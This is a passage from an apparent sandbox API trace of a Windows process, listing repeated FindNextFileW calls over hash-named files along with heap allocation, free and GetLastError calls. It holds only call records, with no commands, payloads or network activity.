Size=0xc0) returned 0x6643a0 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0251.021] GetLastError () returned 0x12 [0251.021] GetLastError () returned 0x12 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0251.021] GetLastError () returned 0x12 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439770 [0251.022] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x73, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3E42820479FADF666581B0704FA4AF901AE0E045", cAlternateFileName="3E4282~1")) returned 1 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655b60 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0251.022] GetLastError () returned 0x12 [0251.022] GetLastError () returned 0x12 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.022] GetLastError () returned 0x12 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343ae20 [0251.022] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435f53f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435f53f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b52, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3E538CAC2C914514ECC5B580E31B0737FF540EB1", cAlternateFileName="3E538C~1")) returned 1 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0251.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0251.022] GetLastError () returned 0x12 [0251.022] GetLastError () returned 0x12 [0251.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.022] GetLastError () returned 0x12 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439140 [0251.023] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43383676, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43383676, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43383676, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97bb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3E96AE69B2C845D9D81E26B170F62BCD71497329", cAlternateFileName="3E96AE~1")) returned 1 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656128 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0251.023] GetLastError () returned 0x12 [0251.023] GetLastError () returned 0x12 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0251.023] GetLastError () returned 0x12 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d38 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439878 [0251.023] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1100, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3E98EE3664479D9428247C5B706A39C5F495B7AE", cAlternateFileName="3E98EE~1")) returned 1 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0251.023] GetLastError () returned 0x12 [0251.023] GetLastError () returned 0x12 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0251.023] GetLastError () returned 0x12 [0251.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a7f0 [0251.024] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ae95de, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44ae95de, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44c19b26, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x57af, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3FD2DE34D9F3B37F5EE298934463B811B5F45B88", cAlternateFileName="3FD2DE~1")) returned 1 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664aa8 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0251.024] GetLastError () returned 0x12 [0251.024] GetLastError () returned 0x12 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664aa8 | out: hHeap=0x570000) returned 1 [0251.024] GetLastError () returned 0x12 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a0b8 [0251.024] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1a4c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4041F3B87A7EBA953DFE4576B8DB14478B01F9A4", cAlternateFileName="4041F3~1")) returned 1 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0251.024] GetLastError () returned 0x12 [0251.024] GetLastError () returned 0x12 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0251.024] GetLastError () returned 0x12 [0251.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0251.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439980 [0251.024] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6b5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A", cAlternateFileName="407EB4~1")) returned 1 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.025] GetLastError () returned 0x12 [0251.025] GetLastError () returned 0x12 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0251.025] GetLastError () returned 0x12 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343ac10 [0251.025] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="43A641B524487AFDAC7A8AF548EE196228BF6EAE", cAlternateFileName="43A641~1")) returned 1 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654c58 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.025] GetLastError () returned 0x12 [0251.025] GetLastError () returned 0x12 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0251.025] GetLastError () returned 0x12 [0251.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439248 [0251.025] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33565af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc33565af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xca6c2fff, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x119f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="44437BAE601C72F5ED96953EAE92C527D4C2D46F", cAlternateFileName="44437B~1")) returned 1 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654fd0 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0251.026] GetLastError () returned 0x12 [0251.026] GetLastError () returned 0x12 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0251.026] GetLastError () returned 0x12 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a3d0 [0251.026] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="445E695F447CA967C4DAE00C80034130290F80EA", cAlternateFileName="445E69~1")) returned 1 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0251.026] GetLastError () returned 0x12 [0251.026] GetLastError () returned 0x12 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0251.026] GetLastError () returned 0x12 [0251.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439458 [0251.026] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="45461427D6D9EC3BD8D179493325388E78C31FA4", cAlternateFileName="454614~1")) returned 1 [0251.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x570000) returned 1 [0251.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b1b0 [0251.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0251.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b1b0 | out: hHeap=0x570000) returned 1 [0251.027] GetLastError () returned 0x12 [0251.027] GetLastError () returned 0x12 [0251.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0251.027] GetLastError () returned 0x12 [0251.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0251.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a8f8 [0251.027] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="45C64E5C2E9809667C5FC9F06FC42641326DF768", cAlternateFileName="45C64E~1")) returned 1 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0251.323] GetLastError () returned 0x12 [0251.323] GetLastError () returned 0x12 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0251.323] GetLastError () returned 0x12 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343ab08 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d11d0 [0251.323] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="46DBA23158169F447D071A5138BFF6E70402F9D1", cAlternateFileName="46DBA2~1")) returned 1 [0251.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0251.324] GetLastError () returned 0x12 [0251.324] GetLastError () returned 0x12 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.324] GetLastError () returned 0x12 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439c98 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1150 [0251.324] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc449f849, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc449f849, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc449f849, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="47005A21A17AFE54769573B5138702C9FB8E0E87", cAlternateFileName="47005A~1")) returned 1 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654ea8 | out: hHeap=0x570000) returned 1 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0251.324] GetLastError () returned 0x12 [0251.324] GetLastError () returned 0x12 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0251.324] GetLastError () returned 0x12 [0251.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0251.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a2c8 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d10b0 [0251.325] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387beb1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387beb1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389ba70, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4764521F6FB23F694297C1319251B844AE508AB7", cAlternateFileName="476452~1")) returned 1 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0251.325] GetLastError () returned 0x12 [0251.325] GetLastError () returned 0x12 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0251.325] GetLastError () returned 0x12 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439038 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1310 [0251.325] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42fbcea, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc42fbcea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcb257f55, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xba06, 